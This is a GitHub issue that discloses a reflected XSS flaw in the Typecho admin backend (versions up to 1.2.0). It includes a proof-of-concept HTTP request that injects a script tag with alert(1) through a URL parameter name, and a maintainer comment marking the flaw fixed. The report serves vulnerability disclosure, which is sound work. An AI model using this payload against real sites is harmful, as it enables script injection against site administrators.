Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Typecho <= 1.2.0 Admin System with Reflected-XSS Vulnerability #1535

Closed
Srpopty opened this issue Feb 21, 2023 · 0 comments
Closed

Typecho <= 1.2.0 Admin System with Reflected-XSS Vulnerability #1535

Srpopty opened this issue Feb 21, 2023 · 0 comments
Labels

Comments

@Srpopty
Copy link

Srpopty commented Feb 21, 2023

Typecho <= 1.2.0 Admin System with Reflected-XSS

Influenced Version

Typecho <= 1.2.0

1

Description

Typecho admin backend management system with reflected-XSS in the name of an arbitrarily supplied URL parameter.

  1. Login to typecho admin backend management system, in "/admin/index.php", "admin/themes.php" or "/admin/backup.php".
  2. In the name of an arbitrarily supplied URL parameter, no matter key or value, will be injected to a html href attribute of <a> tag.

POC

GET /typecho/admin/?"><script>alert(1)</script><!--bbb=1 HTTP/1.1
Host: 192.168.0.10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.10/typecho/admin/login.php?referer=http%3A%2F%2F192.168.0.10%2Ftypecho%2Fadmin%2Findex.php%3Fr7ptu%2522%253E%253Cscript%253Ealert%281%29%253C%2Fscript%253Eat2f7%3D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: e4dff44224c23efabc177d44e50b1de4__typecho_uid=1; e4dff44224c23efabc177d44e50b1de4__typecho_authCode=%24T%248O0qulQf98a49e06253d4ae8c93f478424457be4b; PHPSESSID=m7h7isuus6cugk6mb58vdah296
Connection: close

/admin/index.php

2

3

/admin/theme.php

5

6

4

/admin/backup.php

8

9

7

Reported by Srpopty, vulnerability discovered by using Corax.

@joyqi joyqi added the security label Feb 21, 2023
@joyqi joyqi closed this as completed in f9ede54 Feb 21, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants